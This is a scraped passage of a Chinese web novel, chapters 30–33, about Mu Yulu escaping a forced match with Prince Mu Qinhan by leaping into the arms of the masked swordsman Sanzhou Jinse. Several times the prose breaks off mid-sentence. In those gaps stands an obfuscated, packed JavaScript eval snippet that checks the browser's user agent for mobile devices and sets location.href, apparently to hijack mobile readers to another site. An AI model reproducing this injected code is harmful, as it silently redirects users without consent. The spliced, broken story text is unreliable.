“为什么？”沐毓露却是想得很明白了：“倘若今日抛不成绣球，对父亲来说，最优的做法仍旧是将我送进穆王府。” 她抬眼望向心云：“穆衾寒不肯再收我便罢了，倘若他还愿意娶我，哪怕是让我以侍妾的身份进门，你猜父亲会不会同意？” 心云艰难地点了点头。 沐毓露又道：“那倘若我成功嫁进王府，除了父亲之外，还有谁会受益？” 心云咬了咬唇，语气里有些难过：“整个沐府都会受益。” 沐毓露补充了一句：“尤其是我的嫡妹沐晚意。” 虽然不想承认，但事实就是如此，只要沐家攀上了穆王府这门亲事，剩下的女儿便不愁嫁了，哪怕天天在府里躺平，也少不了好人家上门提亲。 尤其是身为嫡女备受宠爱的沐晚意，她的婚事会受到最直接的影响，沐昭氏一定会趁机为她觅得一个好夫婿。 沐毓露在心里冷冷地想，到时候沐晚意得以嫁给朝中的青年才俊，既能光耀门楣，风风光光出嫁，还能成为正妻，不必给人做妾，如此才算是称了沐昭氏的意。 而这一切，都要建立在她这个嫡长女嫁给了穆衾寒的基础上才能实现，若是她当真嫁给了一个江湖人士，对沐玉罡的生意倒是有所裨益，但是对沐晚意的婚事可谓是毫无用处。 心云在一旁继续道：“可是沐府今日抛绣球招亲已经得罪了穆王爷，就算你今天不抛，转头嫁进王府，以穆王爷的性格，他又怎么会放过你？” 她难过得都要哭出来了：“夫人她应该想得到，小姐若是嫁进王府，处境一定会很艰难。” 沐毓露淡淡地道：“她自然想得到的。” 为了给沐晚意寻一门好亲事，她甚至能提前两年找人给爱女看八字，又怎么可能想不到这些。 她只是不在意罢了。 说话间轿子便到了，心云搀扶着沐毓露走上楼，一边走一边小声地问：“既然夫人已经出手了，她说不定还有后招，我们该怎么办？” 沐毓露提起裙摆，抬首望向楼顶的那一群人：“至少抛绣球还没有取消，该怎么办就怎么办。我不会怕他们的，你也不要怕。” 沐毓露的声音虽然不大，但是听起来沉稳有力，心云受到了鼓舞，也随她一起抬头向楼顶望去：“小姐你慢慢走，我扶你上去。” 30. 第30章 沐毓露今日穿着一身海棠红的衣裳，裙摆裁剪得极好，似是将晚霞揉碎，随着她的走动漾开深浅不一的涟漪。 她几乎未施粉黛，发间也只斜簪着一支素银的缠枝钗，几缕青丝垂落耳际，更衬得她的肌肤如雪一般的白。 没有想到这素净得近乎寡淡的妆容反而显出了沐毓露的天生丽质，她的确是生得美，而且不是寻常的美，简直是一种摄人心魄的美。 楼上众人都屏住了呼吸，就连本来打算开口骂她的沐玉罡都看呆了眼。 以前怎么没有注意到他的这个女儿竟然生得这么标志？他忍不住开始在心中盘算，看来彩礼还得再加点钱。 沐毓露缓缓行至楼顶，经过沐昭氏身边时她顿了顿脚步，转过头与沐昭氏对视。 沐昭氏显然有些心虚，不过她倒也没有躲闪，迎着沐毓露的目光直直地望了回去。 沐毓露突然勾起唇角笑了笑：“女儿晨起身体有些不适，多谢母亲关心。” 沐昭氏似乎没有想到沐毓露会在这里直接与她开战，愣了一下，并没有立即接话。 倒是沐玉罡疑惑地问道：“你今天身体有些不适？我怎么不知道？” 说着他转头更加疑惑地望着沐昭氏：“方才小厮来传话我才知道这件事，怎么看起来你早就知道了？你们母女两个打什么哑谜呢？” 不待沐昭氏开口，沐毓露当即冲沐玉罡福了福身，然后说道：“想是昨晚没有休息好，今早起来感觉有些头晕，我便让心云去问一问母亲，看能不能歇息一会儿再出门。” 说完她佯装惊讶地问：“父亲您竟然不知道这回事？” “我知道什么？我什么都不知道！”沐玉罡望着沐昭氏，一脸的莫名其妙：“你怎么也不派人告诉我一声？” 沐昭氏刚开口说了一个我字，沐毓露就立马打断她，装出一副将责任往自己身上揽的样子：“心云可没有传错话吧？当时是谁给你传的话，说夫人让我多睡一会儿再起来？” 心云立马回道：“是夫人身边的秋池。” 秋池不管三七二十一，立马跪了下来。 沐玉罡则始终望着沐昭氏，问来问去也只有那一句话：“你为什么不告诉我？” 沐昭氏不动声色地吸了口气：“此事是我疏忽了，我一早便想告诉老爷来着，谁成想事情太多，竟然转头就给忘了。” 沐玉罡匪夷所思地道：“那你这忘得可真是够彻底的，今天上午搁这儿站了这么久，我急得跟个什么似的，你也没想起来告诉我一声？” 沐昭氏不说话了，倒是沐晚意忍不住替母亲出头：“今天是姐姐的及笄礼，父亲邀请了这么多达官显贵前来捧场，光是他们的家眷就有百十号人，这些人全都要靠母亲应付，她都忙得脚不沾地了，忘了这点小事也很正常，父亲为什么只知道替姐姐说话，都不体谅母亲？” 沐昭氏全程都在给沐晚意使眼色，就差伸手捂住她的嘴了，然而沐晚意是被她骄纵惯了的，哪里能拦得住，连珠炮似的就将那些话都说了出来。 沐毓露扫了她一眼。 很好，刚才光顾着对付沐昭氏，都忘记了收拾你，既然你这么急着跳出来分辩，那就干脆一并收拾了吧。 这厢沐玉罡已经黑了脸，另一厢沐毓露则趁机开始煽风点火：“妹妹，你这话可就说得不对了，你怎么能光体谅母亲，却一点都不体谅父亲呢？” 沐晚意转头瞪大了眼：“我什么时候不体谅父亲了？” 沐毓露正色道：“你方才责怪父亲不体谅母亲，实际上不就是不体谅父亲？母亲要应付官眷，难道父亲就不用应付其他贵客了？” 沐晚意气得抬手指她，张口想要反驳，无奈沐毓露语速太快，她根本就插不进话。 “再说了，父亲怎么就不体谅母亲了？”沐毓露揪住这一点不放，她将目光落到沐星子母女身上：“母亲的确是要应付很多的官眷，但是好歹有王姨娘帮衬着，总不至于独木难支。母亲的身体一向不好，很多时候都是王姨娘帮着忙前忙后，这不也正是因为父亲体谅母亲的辛苦吗？” 沐毓露递了根橄榄枝，王姨娘立马顺杆子就爬：“说得正是呢，这段时间我也跑前跑后出了不少力，当然这都是我分内的事，没什么可夸口的。但是二小姐，您可不能不体谅老爷的难处呀。” 沐晚意倒吸了一口气，小脸憋得通红，胸口剧烈地起伏着：“你们两个倒是一唱一和的配合得很好嘛，青天白日的脸都不要了？” 她显然从没有受过这样的气，说起话来口不择言：“王姨娘，你说到底不过是沐府的一个小娘，唤你一声姨娘都算是抬举你了，我母亲才是正头的大娘子，用不着你帮着管家，这里也没有你说话的地儿。” 骂完王姨娘她转头骂沐毓露：“还有你，你好歹也是个嫡小姐，跟一个姨娘合起伙来欺负母亲算怎么回事？母亲真是白疼你了！” 她的话还没有说完王姨娘就哭了起来，一边哭一边寻死觅活的。 沐毓露倒是很平静，她始终安静地注视着沐昭氏，即便沐晚意骂到了她的头上来她也不曾移开视线。 她的目的已经达到了，此刻场面可谓一片混乱，她隔着人群望向沐昭氏，目光里带着挑衅的笑意。 沐昭氏方才还因为沐晚意的冲动发言而着急上火，此刻倒也冷静了下来。她一把抓过沐晚意，抬手便给了她一巴掌：“大吵大闹的成什么体统，回厢房待着去。” 沐晚意捂着脸不可置信地望着沐昭氏：“分明是她们无理取闹，母亲您打我干什么？” 沐昭氏不理会她：“秋池，还不赶快带她下去？” 秋池原本垂着脑袋跪在地上，听见主子如此吩咐，当即松了口气，拽着沐晚意便往走廊尽头的厢房去。 沐毓露挑了挑眉，好一招以退为进，这倒真是沐昭氏惯用的手段。 她看似是在批评沐晚意，实则是将她的宝贝女儿拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时一个侍卫模样的人跑上楼来，在沐玉罡耳边问了些什么，沐玉罡点了点头，他又飞快地跑了下去。 在那侍卫下楼传话之后，穆衾寒悠哉地从楼里走了出来，抬头望向楼顶的沐毓露，嘴角噙着一丝似有若无的笑。 沐毓露忍不住了：“父亲，您这是和穆王爷商量好了摆我一道？” 沐玉罡啧了一声：“你瞧瞧你这孩子，说的什么话？” 他皱起眉头说道：“穆王爷一早就过来清场了，再说了，今日你迟到这么久，我本来早就想取消了这一场抛绣球招亲，若不是王爷让我们再等等，你以为你今天还抛得成绣球？” 沐毓露一脸绝望：“那现在这个情况，抛和不抛还有什么区别吗？” 沐昭氏在这时上前道：“你看你这孩子，不是你自己想要抛绣球么？王爷和老爷也是为了满足你的想法呀，你怎么不仅不领情，反而说这种话？” 31. 第31章 沐毓露将目光移到沐昭氏身上，但见她冲着自己意味莫名地笑，一边笑一边说道：“其实我也知道，你是不是还惦记着那个三州堇璱？” 她一副苦口婆心的模样：“听娘的，别想着他了。今天上午我们在这里等了那么久，连他的人影儿都没有见着，他要来早就来了，你还是老老实实抛绣球吧。” 沐毓露又一次在心里冷笑，怪不得她没有彻底睡过头误了这次抛绣球，沐昭氏却仍然很冷静，看起来胜券在握的样子。 原来是在这里等着她呢。 沐玉罡惦记着还在底下等着沐毓露抛绣球的穆衾寒，语气里已经有些不快：“你不是说只要我们大张旗鼓地抛绣球，三州堇璱就一定会来么？” 他伸手往楼外一指：“你自己也看到了，等了一上午连个鸟影儿也没见着。要么你根本就是在编胡话骗你爹娘，要么就是那三州堇璱根本就不靠谱！” 他顺势又开始劝沐毓露：“人家穆王爷可是一大早就来这里等着了，他是什么身份呀，为你做到这个份儿上可以了，你还想怎么着？早跟你说过人要踏踏实实地过日子，底下那个人才是你的良配，别想些虚无缥缈的东西了，快点扔绣球，扔完大家好吃饭。” 沐毓露坚决不肯，她将递过来的绣球往地上一扔，转身就要走：“我不扔，这根本就是耍赖，谁爱扔谁扔，反正我不扔。” 沐玉罡一把拦住她，拽着她的衣领便往楼外走：“今天这个绣球你是扔也得扔，不扔也得扔！” 说着他将绣球往沐毓露怀里一塞：“我还治不了你了？要么你自己扔，要么老子帮你扔。” 沐毓露不得已接过绣球，却是死死地抱住它，怎么也不肯松手：“行啊，你要扔那就自己扔，谁扔的绣球谁就嫁给穆衾寒。” 她哭得一把鼻涕一包眼泪：“你既然觉得穆衾寒那么好，那你自己嫁给他呀，逼着我嫁算什么本事？” 这话可是越说越不正经了。 沐昭氏生怕继续闹下去又有什么变故，连忙冲上前来，和沐玉罡一起抢沐毓露怀里的绣球，逼着她往楼下扔：“你这倒霉孩子还要闹到什么时候才算完？” “都说了爹娘不会害你，赶紧扔了绣球，你有个好归宿，大家也就都放心了。” 沐昭氏这番话听得沐毓露直欲作呕。 分明心里都打着各自的如意算盘，各有各的图谋，各有各的算计，却偏偏还要给自己立牌坊，说什么为了她好。 她抬首望向楼外，见到外面的确没有三州堇璱的身影，一颗心仿佛沉入了无底深渊。 昨晚与他约定好了的，他还抱走了自己一坛腌白菜，为何今日他没有出现？ 沐毓露十分哀伤地想，连三州堇璱这样的人都会欺骗她，这个世界上还有谁可以相信？ 楼外的天空很广阔，风微微地吹拂着，连看起来厚重的云彩都在自由地舞动。 可是她却没有自由。 她的心里很清楚，要是今日抛了绣球，那她这一生又会葬送在穆王府，与其等到悲剧重演的那一日，她不如现在给自己一个痛快。 一片混乱中，她突然抬手朝对面的楼顶一指：“谁说三州堇璱没来？他不就在那里？” 趁所有人的注意力都被转移到了对面楼顶上的时候，沐毓露咬紧牙关，闭上眼睛抱着绣球纵身一跃—— 大不了就是个死，既然所有人都要这么逼她，那她干脆不陪他们玩儿了！ 众人惊呼声中，沐毓露就这样一个倒栽葱摔下了楼。 沐玉罡和沐昭氏眼疾手快，一前一后冲上去，分别抓住了沐毓露两只腿。然而沐毓露跳得太决绝，一点缓冲都没有，两人分别薅下了她的两只鞋，还是眼睁睁地看着她从楼上落了下去。 夫妻二人一手攥着沐毓露的一只鞋，惊恐地互相对望一眼，然后纷纷冲了过去，趴在栏杆上往楼下望。 虽然事发突然，但是楼下的穆衾寒反应极快，几乎在沐毓露从楼上栽下来的一瞬间，他便飞身而起，朝正在坠落的沐毓露伸出了手。 与此同时一道粉色的身影从对面楼顶飞了出来，动作快如闪电，抢在穆衾寒之前接住了沐毓露，还顺势在空中与穆衾寒对了一掌。 这位不速之客所在的位置比穆衾寒远，然而他居然赶在穆衾寒之前抢下了沐毓露，可见其速度之快。 试问江湖上还有谁的轻功达到了这般登峰造极的境界？ 唯有三州堇璱了。 沐毓露连忙伸出一只手紧紧攥住三州堇璱的衣襟，另一只手还不忘死死抱住绣球。 要是绣球落到了地上，再被穆衾寒给捡到了，那可就不妙了，她在心里谨慎地想。 三州堇璱垂首注视着她，见怀里的女子没有丝毫惊恐之态，心心念念的都是她手中的那个绣球，隐在面具背后的脸上不自觉扬起一个笑。 他凑在沐毓露的耳边问她：“你怎么知道我就在对面楼上？” 沐毓露很诚实地回答：“我乱说的。” 三州堇璱又是一笑：“倘若我没有出现，你打算就这么把自己摔死？” 沐毓露坚定地点头：“我就算是死也不要嫁给穆衾寒。” 三州堇璱嗯了一声：“我也没想到你惹到的那个人居然就是穆衾寒。” 听到他这样说，沐毓露这才想起来委屈巴巴地质问他：“你什么时候来的，别告诉我刚刚才到。” 三州堇璱回答得也很诚实：“我按照约定时间到的，在对面等了一个多时辰。” 沐毓露气得锤他胸口：“你早就到了？那你为什么要等到我被逼得跳下楼了才出现？” 三州堇璱还没有来得及回答，对面穆衾寒的掌风已至他的面门。 这一切都发生在电光火石之间，包括三州堇璱与沐毓露在空中的对话，其实也只不过在片刻之间，因此众人甚至都没有看清楚发生了什么，穆衾寒与三州堇璱已经在半空中交起了手来。 但见穆衾寒旋身挥出一掌，掌缘未至，凌厉的劲风已经激得沐毓露鬓边碎发飞扬。 三州堇璱抱着她拧身一闪，浅粉色的衣衫在风中翻涌如云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他重重地叹了口气，正想说点什么挽回一下局面，却听穆衾寒平静地道：“祝贺沐老爷觅得良婿，今日的酒我就不喝了，来日成亲时我再来讨一杯喜酒。” 他这话虽然是说给沐玉罡听的，目光却始终落在沐毓露身上，说完这番话后他微不可见地勾了勾唇角，竟然并未刁难他们，直接转身就走。 沐玉罡只觉得全身都软了，注视着穆衾寒离开的背影长长地舒了口气。 沐毓露却是觉得无比晦气。 他方才那话是什么意思？ 什么叫成亲的时候再来讨一杯喜酒喝？ 穆衾寒这个人最是睚眦必报，她才不相信他能有这么大度。 直觉告诉她，他只是碍于面子不好当着这么多人的面发作，今后一定还会纠缠不休。 送走穆衾寒后沐玉罡忙不迭回过身来，冲着三州堇璱谄媚地笑：“早就听闻姑爷大名，今日终于得见，果如传闻中那般飘逸潇洒、英姿飒爽啊。” 沐毓露在三州堇璱怀里翻了个白眼。 32. 第32章 她爹果然是个做生意的好料子，今日三州堇璱一如既往戴着面具，他连人家的脸都没有见着，却能夸得这般天花乱坠，看来这嘴上功夫的确需要一点天赋，沐毓露就算想学也学不来。 夸完三州堇璱之后，沐玉罡瞪了沐毓露一眼：“还不下来？还要在人家身上赖多久？” 沐毓露这才反应过来自己还在三州堇璱身上挂着呢，她连忙从他怀里跳下来，难得有一些害羞，往后退了两步，站到了一旁去。 三州堇璱却是十分自然地靠近她，伸手将她怀里的绣球接过：“你可是答应了的，只要我抢到绣球，就给我做一辈子饭。” 他的声音不大不小，是周围一圈人刚好能够听到的程度，霎时之间，每一个人的脸色都变得十分精彩。 他这话在沐毓露听来无疑是暴露了二人的合作关系，但是落在旁人的耳朵里却是十分有九分的暧昧。 这下沐玉罡夫妇不得不相信，沐毓露之前所言非虚，这丫头竟然当真悄没声儿地就拿下了大名鼎鼎的三州堇璱。 沐毓露原本还有些心虚，生怕沐玉罡因为三州堇璱的这番话心生怀疑，但是观察了一番之后，她发现周围的人包括她爹望向她和三州堇璱的眼神都十分意味深长。 沐毓露瞬间就明白了。 这帮人肯定是误会了。 她学得王姨娘的精髓，当即也顺着杆子往上爬，故作娇羞地对三州堇璱道：“别说给你做这一辈子的饭了，就算是下辈子、下下辈子也没问题。” 周围看热闹的人再次倒吸一口凉气，这姑娘胆子也太大了，怎么敢当众说这种调情的话？ 今天这热闹看得值了。 精彩，实在是精彩。 三州堇璱听到她这样说，却是愣住了，过了好一会儿才谨慎地开口问她：“此话当真？” 沐毓露也愣了一下，没有想到他居然这么轻易就把她说的话当了真。 虽然隔着面具看不见他的表情，但是听到他第一次如此刻意地隐藏自己情绪的声音，沐毓露便知道他一定是当真了。 这下她反倒不知道该如何回答。 若都只是逢场作戏，她自然怎么回答都可以，但若是对方拿出一颗真心，她却不能再以谎言相对。 好在周围看热闹的人实在太多，他们一股脑儿地拥上来，作着揖恭喜沐玉罡，倒是无意之间替沐毓露解了围。 沐玉罡被那帮人捧到了天上去，自然是心花怒放，平日里小气惯了的他今天居然大手一挥，招呼那些看热闹的人一起进去喝酒：“今儿个是我沐府的好日子，还请诸位都赏脸来喝一杯酒。” 招呼完他们之后，他又乐呵呵地对三州堇璱道：“姑爷也请吧？今天我们爷俩也好好喝一杯。” 三州堇璱却直接拒绝了：“我还有事，先走一步。” 说完他足尖点地跃上楼顶，头也不回飞身便走，走的时候怀里还抱着沐毓露的绣球。 沐玉罡看呆了眼，盯着楼顶的空气望了好半天，然后不可置信地转头瞪着沐毓露：“他就这么走了？” 沐毓露点点头：“嗯，他走了。” 沐玉罡当即跳起脚来：“这成何体统？酒也不喝一杯，也不跟我们说一声要去哪里，就这么走了？” 他越说越气：“你们还没成亲，他就敢这么放肆？还把我这个老丈人放在眼里么？” 眼看着沐玉罡又要发疯，沐毓露赶紧安抚他：“其实他昨晚专程来见过我一面，跟我说他今天有一件要紧的事情要办，需要离开朱雀国一趟。今日来抢绣球，原本就已经耽误了他的行程，所以他难免有些着急。” 沐玉罡冷哼一声：“照你这么说，他还挺把你放在心上的？” 沐毓露又点了点头：“这个自然，否则他也不会放下手中的事情，耽误时间来抢绣球了。” 沐玉罡又是一声冷哼：“那他有没有告诉过你什么时候回来娶你？” 什么时候回来娶她？ 什么时候都不会回来娶她的。 沐毓露心里已经十分烦躁，却还是不得不敷衍着沐玉罡：“等他忙完手中的事情自然就回来娶我了，左不过几个月的工夫，耽误不了多少时间。再说了，沐府嫁女儿也需要时间准备嫁衣嫁妆，也不是说嫁立马就能嫁出去吧？” “行行行，你倒是有说不完的道理。”沐玉罡还想说些什么，却被从楼里出来的沐昭氏拉住。 “老爷，这丫头犟得很，说不听的，到时候吃了亏她自己就知道了。”她颇有些着急地把沐玉罡拉进了酒楼：“还是别在这儿跟她浪费时间了，楼里的贵客还等着跟您喝酒。” 一整个酒楼的人都等着给沐玉罡道喜，沐昭氏的确是应付不过来，沐玉罡的情绪倒调整得很快，前一秒还对着沐毓露怒发冲冠，下一秒就笑吟吟地端着酒杯敬酒去了。 沐毓露在他们身后松了口气。 还好三州堇璱没有食言，不管怎么说，她算是平安度过此劫了。 至于三州堇璱到底会不会回来娶她，根本就不重要。 只要再等两个月，她将手中的那些铺子都卖给了朝廷，就可以得到一大笔钱，到时候她就可以带着那笔钱远走高飞了。 她一边在心里美滋滋地盘算着，一边拉过终于从人群中挤到了她身边的心云，迈步准备踏进酒楼。 便在这时听见身后有人唤她大小姐。 是风问棠的声音。 她回首望他，见他持剑站在自己身后，原本高束着的马尾此刻有些凌乱，发带也有些松散。 她诧异地张了张嘴，正想问他怎么会出现在这里，还把自己搞成这副模样，却在张嘴的一瞬间反应过来。 风问棠一直跟随在沐玉罡的身边，且他武功高强，方才自己坠下楼时他一定也出手想要相救，只是没想到穆衾寒和三州堇璱也同时出手，还在空中过了几招，当时所有人的注意力都集中在了那二人身上，便无人注意到他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361951|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻他安静地注视着她，目光里的意味很是复杂，似乎有很多话想要对她说，却在犹豫半晌之后，只是开口问她：“你没事吧？” 沐毓露冲他笑了笑：“胳膊腿都还在，脑子也没有摔坏，你放心吧。” 风问棠也笑了笑，闭上嘴不再说话。 沐毓露却是看出来他有很多的问题想要问她，于是直接道：“你若有什么问题想问我，直接问便是。我以为我们已经是朋友了，说话不必遮掩。” 风问棠似乎没想到沐毓露会如此直接，犹豫了一下终于还是开口问道：“小姐和三州堇璱是如何认识的？” 关于这个熟悉的问题沐毓露有一版统一的答复：“他晚上到我们房顶看月亮来着，然后我就对他一见钟情了。” 风问棠有点不可置信：“就这样？” 沐毓露点了点头：“就这样。” 他又纠结了好一会儿才字斟句酌地道：“三州堇璱虽然武功高强，但他到底是在江湖中过着刀尖舔血的生活，而且不知道他有没有告诉过小姐，他隶属于一个神秘的杀手组织，在江湖上的仇家不少。若是你选择嫁给他，便是让自己置身于风波之中。” 沐毓露有些惊讶地注视着风问棠，她倒没有想到他会同自己说这些。 见沐毓露不说话，他连忙解释道：“同小姐说这些，是希望你能再好好考虑一下，江湖很危险，三州堇璱能闯荡出如此大的名声，便足以证明他绝非善类，我担心……” “多谢你告诉我这些。”沐毓露问他：“那么你的意思，是希望我放弃三州堇璱，嫁给穆衾寒么？” 风问棠怔了一下。 从他的角度考虑，穆衾寒其实比三州堇璱靠谱得多，至少她可以在王府过着养尊处优的日子，而不是跟随三州堇璱一起在江湖上过着颠沛流离的生活。 但是他真的希望她嫁给穆衾寒么？ 他在心里这么问自己，得到的答案却是否定的，于是一时之间他反倒不知道自己到底是怎么想的了。 见他露出茫然的表情，沐毓露安抚地笑了笑：“我是真心喜欢三州堇璱的，也是心甘情愿嫁给他，你放心就是了。” 她在心里默默地道，虽然她已经拿他当朋友了，也是她自己说的朋友之间说话不要遮遮掩掩，但是该撒的谎还是要撒的。 毕竟自由近在眼前，这时候可不能出一点岔子。她的计划连心云都不知道，就更不可能在这时候告诉风问棠了。 还是等计划成功之后再找个机会给他写封信告诉他真相吧，她当然是不可能嫁给三州堇璱的，但是现在她必须要表现出对三州堇璱情深不能自抑的模样。 风问棠见沐毓露态度如此坚决，也就不再多说什么，只是抿住下唇，冲她点了点头。 风吹得他的发带在空中漂浮，墨色的发掠过他的唇畔，让他整个人都显得有些破碎。 沐毓露不忍再直视他的目光，转过身和心云一起踏入了酒楼中。 33. 第33章 沐毓露抛绣球招亲的过程虽然有一点曲折，但结果还算得上圆满。 没能让女儿嫁进穆王府，沐玉罡多少还是有点遗憾，但是三州堇璱也算是一个不错的选择，至少有了这样一个武林高手做女婿，以后他运送货物都不用请镖局的人护送了。 这段时间他心情很好，看沐毓露自然也顺眼了许多，一高兴便赏给了她一处新院子，还顺便让王姨娘分给她一个新丫鬟。 “再怎么说也是我沐府的嫡小姐，只有一个丫头伺候算怎么回事儿。”沐玉罡说这话时神情颇为慈爱：“小露，以后要是缺什么少什么就来跟爹讲，爹给你安排。” 沐毓露倒也领了她爹这个情，很迅速地带着心云和默合一起搬到了新院子去。 默合便是王姨娘精心挑选给沐毓露的新丫鬟，她原本是厨房的烧火丫头，沉默寡言，个子不高，力气却是十分的大。 “听说小露没事儿就喜欢在自己的院子里做菜，这丫头六岁进府，已经烧了十年的火。”王姨娘的笑容里带着点挑衅的意味：“要我看你们主仆倒是天生一对，合适得不得了。” 她原以为安排一个烧火丫头给沐毓露，沐毓露会像从前一样跳脚，指责沐玉罡不重视她这个嫡长女，却没有想到她居然是真心喜欢这个丫头，握住王姨娘的手不住地道谢，王姨娘也只好尴尬地陪着她一起笑。 她哪里知道，什么沐府嫡长女，什么重视不重视，沐毓露压根就不稀罕了。 毕竟真要计较起来，拨给她一个烧火丫头做贴身丫鬟算什么委屈，王姨娘让她受的委屈还比不上她亲娘给的一星半点。 就譬如说沐毓露单独住的院子。 她尚未及笄便拥有了单独的院子，可以自己搬进去住，看起来是受到了优待，但其实这都是因为沐昭氏不希望她天天出现在自己眼前，所以早早地把她打发了出去。 而她的嫡妹沐晚意就可以一直跟母亲住在同一个院子里，且看她们母女情深的样子，恐怕直到将沐晚意嫁出去的那一天沐昭氏才舍得跟她分开。 当初给沐毓露分院子的事情是沐昭氏安排的，她择了一间离主屋最远的偏僻小院，几乎没怎么打扫就让沐毓露搬了进去。 就是因为那院子太过破败，所以沐玉罡才会给觅了个好夫家的沐毓露指一处更为宽敞的新院子。 当然了，若是沐毓露没能许给穆衾寒或者三州堇璱，沐玉罡也是不会搭理她到底住在哪里的。 这就是沐毓露在沐府中的生活。 前世的她就是太过于钻牛角尖，把嫡长女的身份看得比什么都重，为了得到沐玉罡的重视，得到沐昭氏的关心，活生生地把自己钻在牛角尖里捂死了。 这辈子她什么都不奢求了，反而是这样的心态，让她在沐府的日子开始好转，过得顺风顺水。 但是她自己心里很清楚，今天她得到的一切都并非出自沐玉罡对她的爱，若是几个月后三州堇璱不回来娶她，那么她在沐府得到的一切都会被收回去，甚至连她自己都会被打包扔去穆王府。 因此她绝不会沉湎于这样虚假的亲情，尽管这是她前世费尽心机丢掉性命也想得到的东西。 住进新院子的第一个晚上她失眠了。 她从来没有想到，原来睡觉的枕头可以这么软，床上的褥子可以铺好几层，被子也可以是蚕丝的。 她僵硬地躺在床上一动也不敢动，生怕自己一蹬腿把那娇贵的蚕丝被子蹬破了。 屋中的所有陈设都是新的，描金的碗盏雕花的器具，直到看到这些东西沐毓露才算是真正意识到何为京中巨贾。 原来这才是沐府嫡女应有的待遇。 倒也不怪沐毓露这么没见过世面，前世她未出嫁时，一直住在那个偏僻的小院子里，后来虽说嫁入了穆王府，却也没享过什么福。 毕竟她在王府只是侍妾的身份，且不说她后来被囚禁在小黑屋里三年，即便是尚未被囚禁起来的时候，她的居所也只是一个仅仅放得下一张床的小屋子而已，比王府里的丫鬟们好不到哪里去。 今天才算是她真正过上千金小姐该有的生活的第一日。 然而她很没出息地失眠了。 睁大了眼睛在黑暗中数了几百只羊，她不仅没有丝毫困意，反而把自己数饿了。 沐毓露摸摸肚子坐起身来，披了件外衫朝院子里的小灶台走去。 搬院子的时候沐毓露嘱咐过，新院子里缺什么都可以，唯独不能缺了她的专属小厨房。 办事的人倒也很利落，她人还没有住进新院子，旧院子角落里她和心云一起搭的灶台已经先她们一步被搬了进去。 行至灶台跟前，她揉了揉酸涩的眼睛，正准备点燃柴火热锅，忽然听见身后传来默合的声音：“小姐，您睡不着么？” 沐毓露被吓了一跳，回过头来望着她：“你怎么还没睡？” 默合老老实实地回答道：“回小姐的话，我不是没有睡，是已经睡醒了起来了。” 她这个回答让沐毓露又吓了一跳：“这才什么时辰你就起来了？” 默合抬手指了指天：“现在已经寅时了，我一般都是这个时间起来烧火的。” 沐毓露听完哭笑不得：“天都还没亮你起来烧什么火？” 默合摇了摇头：“等到天亮了再烧火就来不及了，天一亮夫人小姐们立刻就要用水，梳洗完毕后就要吃饭，不管是热水还是早膳都是要提前准备的，如果等到天亮再烧火，那我恐怕就要被打板子了。” 沐毓露听得皱起了眉头：“也就是说你一年四季三百来天，每天都要起这么早？” 默合嗯了一声，将手中的烛台放下，麻利地开始生火：“我本来就是厨房的粗使丫头，做惯了这些活的。小姐是要用灶吧？我来给小姐生火。” 沐毓露一时间不知道该说些什么，眼见默合很快地将火生起，她便也跟着忙碌了起来。 白天她用鸡肉和香菇制了些卤汁，灶台上还搁着一把细面，这会儿正好用它们来做温面吃。 温面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361952|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的做法很简单，只需要将细面煮熟后捞出沥干，盛到碗中备用，临吃时将卤汁浇到面上即可。 沐毓露原本只打算煮一碗温面给自己填肚子，但是既然默合也在这里，便干脆多做一些吃的，两个人一起吃。 环顾了灶台一圈，她打算再做两道点心。 这两样糕点可都是她的拿手好菜，一道叫做脂油糕，另一道则是京中贵人们最爱吃的三层玉带糕。 它们的主要用料都是纯糯粉，不同之处在于糕点的制作方法。 脂油糕是用纯糯粉拌好脂油后，倒入捶碎的冰糖，然后放入盘中蒸煮制成。 而三层玉带糕的制作方法要略复杂一些。 这个糕点一共分为三层，每一层糯粉中间都要刷上一层薄薄的猪油，然后再裹上一层白糖，如此循环着夹好三层后，同样放入锅中蒸煮，蒸熟之后切块即可。 别看这只是两道糕点，制作过程也不是十分繁琐，但其实很考验制作者的烹饪能力。 制作这样的糕点，不管是糖还是油的用量都要精准把控，放多了味道就腻了，但放少了又没有滋味了，想要烹饪出糕点甜而不腻的味道，必得是有经验的熟手才行。 将糕点切好后，她招呼默合把温面一起端过来，两个人就在院子的石桌上就着月色一起吃。 默合踌躇着站在一旁，有些不敢相信地确认着：“小姐，你的意思是让我和你一起吃？” 